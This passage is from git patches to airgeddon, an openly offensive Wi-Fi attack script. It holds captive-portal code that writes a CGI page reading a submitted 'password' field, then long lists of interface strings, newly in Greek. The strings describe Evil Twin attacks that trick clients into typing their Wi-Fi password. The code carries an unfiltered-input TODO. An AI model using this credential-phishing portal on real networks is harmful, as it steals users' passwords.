'" >> "$tmpdir$webdir$indexfile" + echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "echo ''" >> "$tmpdir$webdir$indexfile" + echo -e "exit 0" >> "$tmpdir$webdir$indexfile" + + exec 6>"$tmpdir$webdir$checkfile" + + cat >&6 <<-EOF + #!/bin/bash + #POST_DATA=$(cat /dev/stdin) + echo '' + echo '' + echo '' + echo '' + echo 'Internet' + echo '' + echo '' + echo '' + echo '' + EOF + + cat >&6 <<-'EOF' + #if [ "$REQUEST_METHOD" = "POST" ]; then + # if [ "$CONTENT_LENGTH" -gt 0 ]; then + # read -n $CONTENT_LENGTH POST_DATA <&0 + # fi + #fi + if [ "${REQUEST_METHOD}" = "POST" ] && [ ! -z "${CONTENT_LENGTH}" ]; then + read -n ${CONTENT_LENGTH} POST_DATA + fi + echo "1. $POST_DATA" + [[ "$REQUEST_METHOD" = "POST" ]] && [[ ${CONTENT_LENGTH} -gt 0 ]] && [[ ${POST_DATA} =~ ^password=(.*)$ ]] && password="${BASH_REMATCH[1]}" + [[ -n ${password} ]] && echo 'Test. Reading POST
' && echo $password + [[ -z ${password} ]] && echo 'An error happened' && exit 1 + echo '' + echo '' + exit 0 + EOF + + exec 6>&- + #TODO filter <>&*?./ chars to prevent hacker attacks - echo -e "" > "$tmpdir$webdir$indexfile" - echo -e "Login page" >> "$tmpdir$webdir$indexfile" - echo -e "" >> "$tmpdir$webdir$indexfile" - echo -e "Test captive portal page. Pending to do." >> "$tmpdir$webdir$indexfile" - echo -e "" >> "$tmpdir$webdir$indexfile" - echo -e "" >> "$tmpdir$webdir$indexfile" sleep 3 } @@ -6968,4 +7111,4 @@ function echo_brown() { trap capture_traps INT trap capture_traps SIGTSTP -welcome \ No newline at end of file +welcome diff --git a/changelog.txt b/changelog.txt index bf31d3a73..c3e0f9d49 100644 --- a/changelog.txt +++ b/changelog.txt @@ -232,4 +232,4 @@ Kali and Wifislax Linux compatibility Rfkill added 1.0 -Initial commit \ No newline at end of file +Initial commit From aef054d6462716948bba04a5493ea9b5926d6d4d Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 20 Sep 2016 21:50:58 +0200 Subject: [PATCH 04/23] Merging changes (manually) from dev --- airgeddon.sh | 741 +++++++++++++++++++++++++++++++++++++-------------- 1 file changed, 546 insertions(+), 195 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 2ed8a35f7..d629b9dc5 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -21,6 +21,7 @@ declare -A lang_association=( ["ca"]="catalan" ["pt"]="portuguese" ["ru"]="russian" + ["gr"]="greek" ) #Repository and contact vars @@ -203,6 +204,7 @@ function language_strings() { unknown_chipset["catalan"]="Desconegut" unknown_chipset["portuguese"]="Desconhecido" unknown_chipset["russian"]="Неизвестно" + unknown_chipset["greek"]="Άγνωστο" unknown_chipsetvar="${unknown_chipset["$language"]}" declare -A hintprefix @@ -212,6 +214,7 @@ function language_strings() { hintprefix["catalan"]="Consell" hintprefix["portuguese"]="Conselho" hintprefix["russian"]="Подсказка" + hintprefix["greek"]="Συμβουλή" hintvar="*"${hintprefix[$language]}"*" escaped_hintvar="\*"${hintprefix[$language]}"\*" @@ -222,6 +225,7 @@ function language_strings() { optionaltool_needed["catalan"]="Opció bloquejada, necessita: " optionaltool_needed["portuguese"]="Opção bloqueado requer: " optionaltool_needed["russian"]="Опция заблокирована, требуется: " + optionaltool_needed["greek"]="Κλειδωμένη επιλογή, χρειάζεται: " declare -A under_construction under_construction["english"]="under construction" @@ -230,6 +234,7 @@ function language_strings() { under_construction["catalan"]="en construcció" under_construction["portuguese"]="em construção" under_construction["russian"]="на ремонте" + under_construction["greek"]="υπό κατασκευή" under_constructionvar="${under_construction["$language"]}" declare -gA possible_package_names @@ -239,6 +244,7 @@ function language_strings() { possible_package_names["catalan"]="Possible nom del paquet" possible_package_names["portuguese"]="Possível nome do pacote" possible_package_names["russian"]="Возможное имя пакета" + possible_package_names["greek"]="Πιθανό όνομα πακέτου" declare -gA et_misc_texts et_misc_texts["english",0]="Evil Twin AP Info" @@ -247,6 +253,7 @@ function language_strings() { et_misc_texts["catalan",0]="Info Evil Twin AP" et_misc_texts["portuguese",0]="Info Evil Twin AP" et_misc_texts["russian",0]="Информация о Злом Двойнике ТД" + et_misc_texts["greek",0]="Πληροφορίες Evil Twin AP" et_misc_texts["english",1]="Channel" et_misc_texts["spanish",1]="Canal" @@ -254,6 +261,7 @@ function language_strings() { et_misc_texts["catalan",1]="Canal" et_misc_texts["portuguese",1]="Canal" et_misc_texts["russian",1]="Канал" + et_misc_texts["greek",1]="Κανάλι" et_misc_texts["english",2]="Online time" et_misc_texts["spanish",2]="Tiempo online" @@ -261,6 +269,7 @@ function language_strings() { et_misc_texts["catalan",2]="Temps online" et_misc_texts["portuguese",2]="Tempo online" et_misc_texts["russian",2]="Время онлайн" + et_misc_texts["greek",2]="Χρόνος σε σύνδεση" et_misc_texts["english",3]="DHCP ips given to possible connected clients" et_misc_texts["spanish",3]="Ips entregadas por DHCP a posibles clientes conectados" @@ -268,6 +277,7 @@ function language_strings() { et_misc_texts["catalan",3]="Ips lliurades per DHCP a possibles clients connectats" et_misc_texts["portuguese",3]="Ips entregues pelos clientes DHCP ligado ao possível" et_misc_texts["russian",3]="IP, которые DHCP будет давать возможным подключённым клиентам" + et_misc_texts["greek",3]="DHCP IP διευθύνσεις που έχουν δωθεί σε πιθανούς συνδεδεμένους χρήστες" et_misc_texts["english",4]="With this attack you have to use an external sniffer to try to obtain client passwords connected to the network" et_misc_texts["spanish",4]="Con este ataque has de usar un sniffer externo para intentar obtener contraseñas de los clientes conectados a la red" @@ -275,6 +285,7 @@ function language_strings() { et_misc_texts["catalan",4]="Amb aquest atac has d'utilitzar un sniffer extern per intentar obtenir contrasenyes dels clients connectats a la xarxa" et_misc_texts["portuguese",4]="Com este ataque você tem que usar um sniffer externa para tentar obter as senhas dos clientes conectados à rede" et_misc_texts["russian",4]="С этой атакой вам нужно использовать внешний сниффер для попытки получить пароли клиентов, подключённых к сети" + et_misc_texts["greek",4]="Με αυτή την επίθεση θα πρέπει να χρησιμοποιήσετε έναν εξωτερικό sniffer για να μπορέσετε να υποκλέψετε κωδικούς από τους χρήστες που είναι συνδεδεμένοι στο δίκτυο" et_misc_texts["english",5]="With this attack, watch the sniffer's screen to see if a password appears" et_misc_texts["spanish",5]="Con este ataque, estate atento a la pantalla del sniffer para ver si aparece alguna contraseña" @@ -282,6 +293,7 @@ function language_strings() { et_misc_texts["catalan",5]="Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya" et_misc_texts["portuguese",5]="Com este ataque, cuidado com a tela aparece sniffer para ver se uma senha" et_misc_texts["russian",5]="С этой атакой смотрите на окно сниффера, чтобы следить за появлением пароля" + et_misc_texts["greek",5]="Με αυτή την επίθεση, παρακολουθήστε την οθόνη του sniffer για να δείτε αν εχει εμφανιστεί κάποιος κωδικός" et_misc_texts["english",6]="With this attack, we'll wait for a network client to provide us with the password for the wifi network in our captive portal" et_misc_texts["spanish",6]="Con este ataque, esperaremos a que un cliente de la red nos provea de la contraseña de la red wifi en nuestro portal cautivo" @@ -289,6 +301,7 @@ function language_strings() { et_misc_texts["catalan",6]="Amb aquest atac, esperarem que un client de la xarxa ens proveeixi de la contrasenya de la xarxa wifi al nostre portal captiu" et_misc_texts["portuguese",6]="Com este ataque, vamos esperar por um cliente de rede nos fornecer a senha para a rede wifi no nosso portal cativo" et_misc_texts["russian",6]="С этой атакой вы будете ожидать, чтобы сетевые клиенты ввели пароль для Wi-Fi сети на нашем перехватывающем портале" + et_misc_texts["greek",6]="Με αυτή την επίθεση, θα περιμένουμε για έναν χρήστη του δικτύου να μας παρέχει με τον κωδικό του wifi στην πύλη αιχμάλωσίας" et_misc_texts["english",7]="No clients connected yet" et_misc_texts["spanish",7]="No hay clientes conectados aún" @@ -296,13 +309,15 @@ function language_strings() { et_misc_texts["catalan",7]="Encara no hi han clients connectats" et_misc_texts["portuguese",7]="Ainda não há clientes conectados" et_misc_texts["russian",7]="Клиенты ещё не подключены" + et_misc_texts["greek",7]="Ακόμα, κανένας συνδεδεμένος χρήστης" et_misc_texts["english",8]="Airgeddon. Evil Twin attack captured passwords" et_misc_texts["spanish",8]="Airgeddon. Contraseñas capturadas en ataque Evil Twin" - et_misc_texts["french",8]="Airgeddon. Mot de passes capturé pendant l'attaque Evil Twin" + et_misc_texts["french",8]="Airgeddon. Mots de passe capturés par attaque Evil Twin" et_misc_texts["catalan",8]="Airgeddon. Contrasenyes capturades amb atac Evil Twin" et_misc_texts["portuguese",8]="Airgeddon. Senhas capturado no ataque ataque Evil Twin" et_misc_texts["russian",8]="Airgeddon. Атака Злой Двойник захватила пароли" + et_misc_texts["greek",8]="Airgeddon. Η επίθεση Evil Twin κατέγραψε κωδικούς" et_misc_texts["english",9]="Wireless network, ESSID:" et_misc_texts["spanish",9]="Red inalámbrica, ESSID:" @@ -310,6 +325,7 @@ function language_strings() { et_misc_texts["catalan",9]="Xarxa sense fils, ESSID:" et_misc_texts["portuguese",9]="Rede sem fio, ESSID:" et_misc_texts["russian",9]="беспроводная сеть, ESSID:" + et_misc_texts["greek",9]="Ασύρματο Δίκτυο ESSID:" et_misc_texts["english",10]="Enter your wireless network password to get internet access" et_misc_texts["spanish",10]="Introduzca su contraseña de acceso a la red inalámbrica para poder acceder a internet" @@ -317,6 +333,7 @@ function language_strings() { et_misc_texts["catalan",10]="Introduïu la contrasenya d'accés ala xarxa sense fils per poder accedir a internet" et_misc_texts["portuguese",10]="Digite sua senha de acesso de rede asa sem fio para acesso à internet" et_misc_texts["russian",10]="Введите свой беспроводной доступ к сети Интернет доступа пароль крыло" + et_misc_texts["greek",10]="Εισάγετε ασύρματη πρόσβαση στο κωδικό πρόσβασης δικτύου πτέρυγα σας να έχουν πρόσβαση στο διαδίκτυο" et_misc_texts["english",11]="Password" et_misc_texts["spanish",11]="Contraseña" @@ -324,6 +341,7 @@ function language_strings() { et_misc_texts["catalan",11]="Contrasenya" et_misc_texts["portuguese",11]="Senha" et_misc_texts["russian",11]="пароль" + et_misc_texts["greek",11]="κωδικό πρόσβασης" et_misc_texts["english",12]="Show password" et_misc_texts["spanish",12]="Mostrar contraseña" @@ -331,6 +349,7 @@ function language_strings() { et_misc_texts["catalan",12]="Mostra la contrasenya" et_misc_texts["portuguese",12]="Mostrar senha" et_misc_texts["russian",12]="Показать пароль" + et_misc_texts["greek",12]="Εμφάνιση κωδικού πρόσβασης" et_misc_texts["english",13]="Submit" et_misc_texts["spanish",13]="Enviar" @@ -338,28 +357,32 @@ function language_strings() { et_misc_texts["catalan",13]="Enviar" et_misc_texts["portuguese",13]="Enviar" et_misc_texts["russian",13]="послать" + et_misc_texts["greek",13]="Υποτάσσομαι" declare -A arr arr["english",0]="This interface $interface is already in managed mode" arr["spanish",0]="Esta interfaz $interface ya está en modo managed" arr["french",0]="L'interface $interface est déjà en mode managed" arr["catalan",0]="Aquesta interfície $interface ja està en mode managed" - arr["portuguese",0]="$pending_of_translation Este interface $interface já está em modo managed" + arr["portuguese",0]="Esta interface $interface já está em modo monitor" arr["russian",0]="Этот интерфейс $interface уже в управляемом режиме" + arr["greek",0]="Αυτή η διεπαφή $interface είναι ήδη σε ετερόκλητη κατάσταση" arr["english",1]="This interface $interface is not a wifi card. It doesn't support managed mode" arr["spanish",1]="Esta interfaz $interface no es una tarjeta wifi. No soporta modo managed" arr["french",1]="L'interface $interface n'est pas une carte wifi. Elle n'est donc pas compatible mode managed" arr["catalan",1]="Aquesta interfície $interface no és una targeta wifi vàlida. No es compatible amb mode managed" - arr["portuguese",1]="$pending_of_translation Este interface $interface não é um cartão de wifi. Ele não suporta o modo managed" + arr["portuguese",1]="Esta interface $interface não é wifi. Ela não suporta o modo monitor" arr["russian",1]="Этот интерфейс $interface не является Wi-Fi картой. Он не поддерживает управляемый режим" + arr["greek",1]="Αυτή η διεπαφή $interface δεν είναι κάρτα wifi. Δεν υποστηρίζει ετερόκλητη κατάσταση." arr["english",2]="English O.S. language detected. Supported by script. Automatically changed" arr["spanish",2]="Idioma Español del S.O. detectado. Soportado por el script. Se cambió automaticamente" arr["french",2]="S.E. en Français détecté. Langue prise en charge par le script et changé automatiquement" arr["catalan",2]="Idioma Català del S.O. detectat. Suportat pel script. S'ha canviat automàticament" - arr["portuguese",2]="$pending_of_translation Portugues do S.O. detectado. Compatível com o script. Ele é automaticamente alterada" + arr["portuguese",2]="S.O. em Portugues detectado. Compatível com o script. Linguagem automaticamente alterada" arr["russian",2]="Определена ОС на русском. Поддерживается скриптом. Автоматически изменена" + arr["greek",2]="Εντοπίστηκε Ελληνική γλώσσα συστήματος. Υποστηρίξιμη από το script. Άλλαξε αυτόματα" arr["english",3]="Select target network :" arr["spanish",3]="Selecciona la red objetivo :" @@ -367,223 +390,255 @@ function language_strings() { arr["catalan",3]="Selecciona la xarxa objectiu :" arr["portuguese",3]="$pending_of_translation Seleccione a rede de destino :" arr["russian",3]="Выбор целевой сети :" + arr["greek",3]="Διαλέξτε δίκτυο :" arr["english",4]="Press [Enter] key to start attack..." arr["spanish",4]="Pulse la tecla [Enter] para comenzar el ataque..." arr["french",4]="Pressez [Enter] pour commencer l'attaque..." arr["catalan",4]="Premi la tecla [Enter] per començar l'atac..." - arr["portuguese",4]="$pending_of_translation Pressione [Enter] para iniciar o ataque..." + arr["portuguese",4]="Pressione [Enter] para iniciar o ataque..." arr["russian",4]="Нажмите клавижу [Enter] для начала атаки..." + arr["greek",4]="Πατήστε [Enter] για να ξεκινήσει η επίθεση..." arr["english",5]="It looks like your internet connection is unstable. The script can't connect to repository. It will continue without updating..." arr["spanish",5]="Parece que tu conexión a internet no es estable. El script no puede conectar al repositorio. Continuará sin actualizarse..." arr["french",5]="Votre connexion internet est trop médiocre pour pouvoir se connecter aux dépôts comme ils se doit. Le script va s’exécuter sans s'actualiser..." arr["catalan",5]="Sembla que la teva connexió a internet no és estable. El script no pot connectar amb el repositori. Continuarà sense actualitzar-se..." - arr["portuguese",5]="$pending_of_translation Parece que sua conexão com a internet não é estável. O script não pode conectar-se ao repositório. Ele continuará sem atualizar..." + arr["portuguese",5]="Parece que sua conexão com a internet não é estável. O script não pode conectar-se ao repositório. Ele continuará sem atualizar..." arr["russian",5]="Интернет-подключение кажется нестабильным. Скрипт не может подключиться к репозиторию. Он продолжит без обновления..." + arr["greek",5]="Φαίνεται πως η σύνδεση με το διαδίκτυο δεν είναι σταθερή. Το script δεν μπορεί να συνδεθεί στο repository. Θα συνεχίσει χωρίς να έχει ενημερωθεί..." arr["english",6]="Welcome to airgeddon script v$airgeddon_version" arr["spanish",6]="Bienvenid@ a airgeddon script v$airgeddon_version" arr["french",6]="Bienvenue au script airgeddon v$airgeddon_version" arr["catalan",6]="Benvingut a airgeddon script v$airgeddon_version" - arr["portuguese",6]="$pending_of_translation Bem-vindo ao script airgeddon v$airgeddon_version" + arr["portuguese",6]="Bem-vindo ao script airgeddon v$airgeddon_version" arr["russian",6]="Добро пожаловать в скрипт airgeddon v$airgeddon_version" + arr["greek",6]="Καλωσήρθατε στο airgeddon v$airgeddon_version" arr["english",7]="This script is only for educational purposes. Be good boyz&girlz!" arr["spanish",7]="Este script se ha hecho sólo con fines educativos. Sed buen@s chic@s!" arr["french",7]="Ce script a été fait à des fins purement éducatives. Portez-vous biens!" arr["catalan",7]="Aquest script s'ha fet només amb fins educatius. Porteu-vos bé!" - arr["portuguese",7]="$pending_of_translation Este script foi feito apenas para fins educacionais. Comportem-se!" + arr["portuguese",7]="Este script foi feito apenas para fins educacionais. Comportem-se!" arr["russian",7]="Этот скрипт только для образовательных целей. Будьте хорошими мальчиками и девочками!" + arr["greek",7]="Αυτό το script είναι για διδακτικούς σκοπούς. Να είστε φρόνιμοι!" arr["english",8]="Known compatible distros with this script :" arr["spanish",8]="Distros conocidas compatibles con este script :" arr["french",8]="Distros connus compatibles avec ce script :" arr["catalan",8]="Distros conegudes compatibles amb aquest script :" - arr["portuguese",8]="$pending_of_translation Distros conhecidas compatíveis com este script :" + arr["portuguese",8]="Distros conhecidas compatíveis com este script :" arr["russian",8]="Дистрибутивы о которых известно, что они совместимы со скриптом :" + arr["greek",8]="Γνώστες εκδόσεις που υποστηρίζουν αυτό το script :" arr["english",9]="Detecting system..." arr["spanish",9]="Detectando sistema..." arr["french",9]="Détection du système..." arr["catalan",9]="Detecció del sistema..." - arr["portuguese",9]="$pending_of_translation Sistema de detecção de..." + arr["portuguese",9]="Detectando sistema..." arr["russian",9]="Определяем систему..." + arr["greek",9]="Το σύστημα εντοπίζεται..." arr["english",10]="This interface $interface is already in monitor mode" arr["spanish",10]="Esta interfaz $interface ya está en modo monitor" arr["french",10]="L'interface $interface est déjà en mode moniteur" arr["catalan",10]="Aquesta interfície ja està en mode monitor" - arr["portuguese",10]="$pending_of_translation Este $interface de interface já está em modo monitor" + arr["portuguese",10]="Esta interface $interface já está em modo monitor" arr["russian",10]="Этот интерфейс $interface уже в режиме монитора" + arr["greek",10]="Αυτή η διεπαφή $interface είναι ήδη σε κατάσταση παρακολούθησης" arr["english",11]="Exiting airgeddon script v$airgeddon_version - See you soon! :)" arr["spanish",11]="Saliendo de airgeddon script v$airgeddon_version - Nos vemos pronto! :)" arr["french",11]="Fermeture du script airgeddon v$airgeddon_version - A bientôt! :)" arr["catalan",11]="Sortint de airgeddon script v$airgeddon_version - Ens veiem aviat! :)" - arr["portuguese",11]="$pending_of_translation Deixando airgeddon script v$airgeddon_version - Até breve! :)" + arr["portuguese",11]="Saindo do script airgeddon v$airgeddon_version - Até breve! :)" arr["russian",11]="Выход из скрипта airgeddon v$airgeddon_version - До встречи! :)" + arr["greek",11]="Κλείσιμο του airgeddon v$airgeddon_version - Αντίο :)" arr["english",12]=${blue_color}"Interruption detected. "${green_color}"Do you really want to exit? "${normal_color}"[y/n]" arr["spanish",12]=${blue_color}"Detectada interrupción. "${green_color}"¿Quieres realmente salir del script? "${normal_color}"[y/n]" arr["french",12]=${blue_color}"Interruption détectée. "${green_color}"Voulez-vous vraiment arrêter le script? "${normal_color}"[y/n]" arr["catalan",12]=${blue_color}"Interrupció detectada. "${green_color}"¿Realment vols sortir de l'script? "${normal_color}"[y/n]" - arr["portuguese",12]="$pending_of_translation "${blue_color}"Interrupção detectado. "${green_color}"Você quer realmente obter o script? "${normal_color}"[y/n]" + arr["portuguese",12]=${blue_color}"Interrupção detectada. "${green_color}"Você quer realmente sair o script? "${normal_color}"[y/n]" arr["russian",12]=${blue_color}"Обнаружено прерывание. "${green_color}"Вы действительно хотите выйти? "${normal_color}"[y/n]" + arr["greek",12]=${blue_color}"Εντοπίστηκε διακοπή. "${green_color}"Είστε σίγουροι ότι θέλετε να τερματίσετε το script? "${normal_color}"[y/n]" arr["english",13]="This interface $interface is not a wifi card. It doesn't support monitor mode" arr["spanish",13]="Esta interfaz $interface no es una tarjeta wifi. No soporta modo monitor" arr["french",13]="L'interface $interface n'est pas une carte wifi. Elle n'est donc pas compatible mode moniteur" arr["catalan",13]="Aquesta interfície $interface no és una targeta wifi vàlida. No es compatible amb mode monitor" - arr["portuguese",13]="$pending_of_translation Este interface $interface não é um cartão de wifi. Ele não suporta modo monitor" + arr["portuguese",13]="Esta interface $interface não é wifi. Ela não suporta o modo monitor" arr["russian",13]="Этот интерфейс $interface не является Wi-Fi картой. Он не поддерживает режим монитора" + arr["greek",13]="Αυτή η διεπαφή $interface δεν έιναι κάρτα wifi. Δεν υποστηρίζει κατάσταση παρακολούθησης" arr["english",14]="This interface $interface is not in monitor mode" arr["spanish",14]="Esta interfaz $interface no está en modo monitor" arr["french",14]="L'interface $interface n'est pas en mode moniteur" arr["catalan",14]="Aquesta interfície $interface no està en mode monitor" - arr["portuguese",14]="$pending_of_translation Este interface $interface não está em modo monitor" + arr["portuguese",14]="Esta interface $interface não está em modo monitor" arr["russian",14]="Этот интерфейс $interface не в режиме монитора" + arr["greek",14]="Αυτή η διεπαφή $interface δεν είναι σε κατάσταση παρακολούθησης" arr["english",15]="The interface changed its name while putting in managed mode. Autoselected" arr["spanish",15]="Esta interfaz ha cambiado su nombre al ponerlo en modo managed. Se ha seleccionado automáticamente" arr["french",15]="Le nom de l'interface a changé lors du passage en mode managed. Elle a été sélectionnée automatiquement" arr["catalan",15]="Aquesta interfície ha canviat de nom al posar-la en mode managed. S'ha triat automàticament" - arr["portuguese",15]="$pending_of_translation Esta interface mudou seu nome, colocando-o em modo managed. Foi seleccionado automaticamente" + arr["portuguese",15]="Esta interface mudou de nome, colocando em modo monitor e selecionando automaticamente" arr["russian",15]="Интерфейс изменил имя во время перевода в управляемый режим. Выбран автоматически" + arr["greek",15]="Η διεπάφη άλλαξε όνομα καθώς ήταν σε ετερόκλητη κατάσταση. Επιλέχθηκε αυτόματα" arr["english",16]="Managed mode now is set on $interface" arr["spanish",16]="Se ha puesto el modo managed en $interface" arr["french",16]="$interface est maintenant en mode manged" arr["catalan",16]="$interface s'ha configurat en mode managed" - arr["portuguese",16]="$pending_of_translation Modo managed $interface" + arr["portuguese",16]="Modo monitor configurado em $interface" arr["russian",16]="Управляемый режим теперь установлен на $interface" + arr["greek",16]="Η διεπαφή $interface είναι τώρα σε ετερόκλητη κατάσταση" arr["english",17]="Putting your interface in managed mode..." arr["spanish",17]="Poniendo la interfaz en modo managed..." arr["french",17]="L'interface est en train de passer en mode managed..." arr["catalan",17]="Configurant la interfície en mode managed..." - arr["portuguese",17]="$pending_of_translation Colocar a interface em modo managed..." + arr["portuguese",17]="Colocando a interface em modo monitor..." arr["russian",17]="Переводим ваш интерфейс в управляемый режим..." + arr["greek",17]="Ενεργοποιείται η ετερόκλητη κατάσταση στην διεπαφή..." arr["english",18]="Putting your interface in monitor mode..." arr["spanish",18]="Poniendo la interfaz en modo monitor..." arr["french",18]="L'interface est en train de passer en mode moniteur..." arr["catalan",18]="Configurant la interfície en mode monitor..." - arr["portuguese",18]="$pending_of_translation Colocar a interface em modo monitor..." + arr["portuguese",18]="Colocando a interface em modo monitor..." arr["russian",18]="Переводим ваш интерфейс в режим монитора..." + arr["greek",18]="Ενεργοποιείται η κατάσταση παρακολούθησης στην διεπαφή..." arr["english",19]="Please be patient. Maybe killing some conflicting processes..." arr["spanish",19]="Por favor ten paciencia. Puede que esté matando algunos procesos que podrían causar conflicto..." arr["french",19]="Soyez patients s'il vous plaît. Il se peut qu'il faile tuer des processus conflictuels..." arr["catalan",19]="Si us plau té paciència. Pot ser que s'estiguin matant alguns processos que podrien causar conflicte..." - arr["portuguese",19]="$pending_of_translation Por favor, seja paciente. Pode-se matar alguns processos que podem causar conflitos..." + arr["portuguese",19]="Por favor, seja paciente. Matando alguns processos que podem causar conflitos..." arr["russian",19]="Пожалуйста, будьте терпеливы. Возможно убийство некоторых конфликтующих процессов..." + arr["greek",19]="Παρακαλώ δείξτε υπομονή. Ίσως τερματίζουν κάποιες εμπλέκουσες διεργασίες..." arr["english",20]="This interface $interface doesn't support monitor mode" arr["spanish",20]="Esta interfaz $interface no soporta modo monitor" arr["french",20]="L'interface $interface n'est pas compatible mode moniteur" arr["catalan",20]="Aquesta interfície $interface no suporta mode monitor" - arr["portuguese",20]="$pending_of_translation Essa interface $interface não suporta o modo monitor" + arr["portuguese",20]="Esta interface $interface não suporta o modo monitor" arr["russian",20]="Этот интерфейс $interface не поддерживает режим монитора" + arr["greek",20]="Αυτή η διεπαφή $interface δεν υποστηρίζει κατάσταση παρακολούθησης" arr["english",21]="The interface changed its name while putting in monitor mode. Autoselected" arr["spanish",21]="Esta interfaz ha cambiado su nombre al ponerla en modo monitor. Se ha seleccionado automáticamente" arr["french",21]="Le nom de l'interface à changé lors de l'activation du mode moniteur. Elle a été automatiquement sélectionnée" arr["catalan",21]="Aquesta interfície ha canviat de nom al posar-la en mode monitor. S'ha seleccionat automàticament" - arr["portuguese",21]="$pending_of_translation Esta interface mudou seu nome para colocar no modo monitor. Foi seleccionado automaticamente" - arr["russian",21]=" Этот интерфейс изменил своё имя во время перевода в режим монитора. Выбран автоматически" + arr["portuguese",21]="Esta interface mudou de nome, colocando em modo monitor e selecionando automaticamente" + arr["russian",21]="Этот интерфейс изменил своё имя во время перевода в режим монитора. Выбран автоматически" + arr["greek",21]="Η διεπαφή άλλαξε όνομα καθώς ήταν σε κατάσταση παρακολούθησης" arr["english",22]="Monitor mode now is set on $interface" arr["spanish",22]="Se ha puesto el modo monitor en $interface" arr["french",22]="Mode moniteur activé sur l'interface $interface" arr["catalan",22]="S'ha configurat el mode monitor en $interface" - arr["portuguese",22]="$pending_of_translation Ele foi colocado em $interface do modo monitor" + arr["portuguese",22]="Modo monitor foi ativo em $interface" arr["russian",22]="Режим монитора установлен на $interface" + arr["greek",22]="Η διεπαφή $interface είναι τώρα σε κατάσταση παρακολούθησης" arr["english",23]="There is a problem with the interface selected. Redirecting you to script exit" arr["spanish",23]="Hay un problema con la interfaz seleccionada. Redirigiendo a la salida del script" arr["french",23]="Il y a un problème avec l'interface choisie. Vous allez être dirigés vers la sortie du script" arr["catalan",23]="Hi ha un problema amb la interfície seleccionada. Redirigint cap a la sortida del script" - arr["portuguese",23]="$pending_of_translation Existe um problema com o interface seleccionado. Redirecionando a saída do script" + arr["portuguese",23]="Existe um problema com a interface selecionada. Saindo do script" arr["russian",23]="Проблема с выбранным интерфейсом. Перенаправляем вас к выходу из скрипта" + arr["greek",23]="Υπάρχει πρόβλημε με την επιλεγμένη διεπαφή. Θα καθοδηγηθείτε στην έξοδο του script" arr["english",24]="Select an interface to work with :" arr["spanish",24]="Selecciona una interfaz para trabajar con ella :" arr["french",24]="Sélectionnez l'interface pour travailler :" arr["catalan",24]="Seleccionar una interfície per treballar-hi :" - arr["portuguese",24]="$pending_of_translation Seleccionar uma interface para trabalhar com :" + arr["portuguese",24]="Seleccionar uma interface para trabalhar :" arr["russian",24]="Выберите интерфейс дял работы :" + arr["greek",24]="Επιλέξτε διεπαφή :" arr["english",25]="Set channel (1-14) :" arr["spanish",25]="Selecciona un canal (1-14) :" arr["french",25]="Sélectionnez un canal (1-14) :" arr["catalan",25]="Seleccioni un canal (1-14) :" - arr["portuguese",25]="$pending_of_translation Escolha um canal (1-14) :" + arr["portuguese",25]="Escolha um canal (1-14) :" arr["russian",25]="Установите канал (1-14) :" + arr["greek",25]="Θέστε κανάλι (1-14) :" arr["english",26]="Channel set to "${normal_color}"$channel" arr["spanish",26]="Canal elegido "${normal_color}"$channel" arr["french",26]="Le canal "${normal_color}"$channel"${blue_color}" a été choisi" arr["catalan",26]="El canal "${normal_color}"$channel"${blue_color}" s'ha escollit" - arr["portuguese",26]="$pending_of_translation Canal "${normal_color}"$channel"${blue_color}" selecionado" + arr["portuguese",26]="Canal "${normal_color}"$channel"${blue_color}" selecionado" arr["russian",26]="Канал установлен на "${normal_color}"$channel" + arr["greek",26]="Το κανάλι "${normal_color}"$channel"${blue_color}" έχει επιλεχθεί" arr["english",27]="Type target BSSID (example: 00:11:22:33:44:55) :" arr["spanish",27]="Escribe el BSSID objetivo (ejemplo: 00:11:22:33:44:55) :" arr["french",27]="Veuillez entrer le BSSID de l'objectif (exemple: 00:11:22:33:44:55) :" arr["catalan",27]="Escriu el BSSID objectiu (exemple: 00:11:22:33:44:55) :" - arr["portuguese",27]="$pending_of_translation Escreva o BSSID alvo (exemplo: 00:11:22:33:44:55) :" + arr["portuguese",27]="Escreva o BSSID alvo (exemplo: 00:11:22:33:44:55) :" arr["russian",27]="Тип целевой BSSID (пример: 00:11:22:33:44:55) :" + arr["greek",27]="Πληκτρολογήστε BSSID στόχου (παράδειγμα: 00:11:22:33:44:55) :" arr["english",28]="BSSID set to "${normal_color}"$bssid" arr["spanish",28]="BSSID elegido "${normal_color}"$bssid" arr["french",28]="Le BSSID choisi est "${normal_color}"$bssid" arr["catalan",28]="El BSSID escollit "${normal_color}"$bssid" - arr["portuguese",28]="$pending_of_translation BSSID escolhida "${normal_color}"$bssid" + arr["portuguese",28]="BSSID escolhido "${normal_color}"$bssid" arr["russian",28]="BSSID установлена на "${normal_color}"$bssid" + arr["greek",28]="Το BSSID τέθηκε σε "${normal_color}"$bssid" arr["english",29]="Type target ESSID :" arr["spanish",29]="Escribe el ESSID objetivo :" arr["french",29]="Écrivez l'ESSID du réseau cible :" arr["catalan",29]="Escriu el ESSID objectiu :" - arr["portuguese",29]="$pending_of_translation Escreva o ESSID alvo :" + arr["portuguese",29]="Escreva o ESSID do alvo :" arr["russian",29]="Тип целевой ESSID :" + arr["greek",29]="Πληκτρολογήστε ESSID στόχου :" arr["english",30]="You have selected a hidden network ESSID. Can't be used. Select another one or perform a BSSID based attack instead of this" arr["spanish",30]="Has seleccionado un ESSID de red oculta. No se puede usar. Selecciona otro o ejecuta un ataque basado en BSSID en lugar de este" arr["french",30]="Vous avez choisi un réseau dont l'ESSID est caché et ce n'est pas possible. Veuillez sélectionner une autre cible ou bien effectuer une attaque qui se fonde sur le BSSID au lieu de celle-ci" arr["catalan",30]="Has seleccionat un ESSID de xarxa oculta. No es pot utilitzar. Selecciona un altre o executa un atac basat en BSSID en lloc d'aquest" - arr["portuguese",30]="$pending_of_translation Você selecionou uma rede ESSID oculto. Você não pode usar. Selecione outro ou executar um ataque com base BSSID ao invés desta" + arr["portuguese",30]="Você selecionou uma rede com ESSID oculto. Você não pode ultilizar. Selecione outro ou execute um ataque com BSSID ao invés deste" arr["russian",30]="Вы выбрали сеть со скрытым ESSID. Использование невозможно. Выберите другую или вместо этой выполните атаку, основанную на BSSID" + arr["greek",30]="Επιλέξατε ESSID κρυφού δικτύου. Δεν μπορεί να 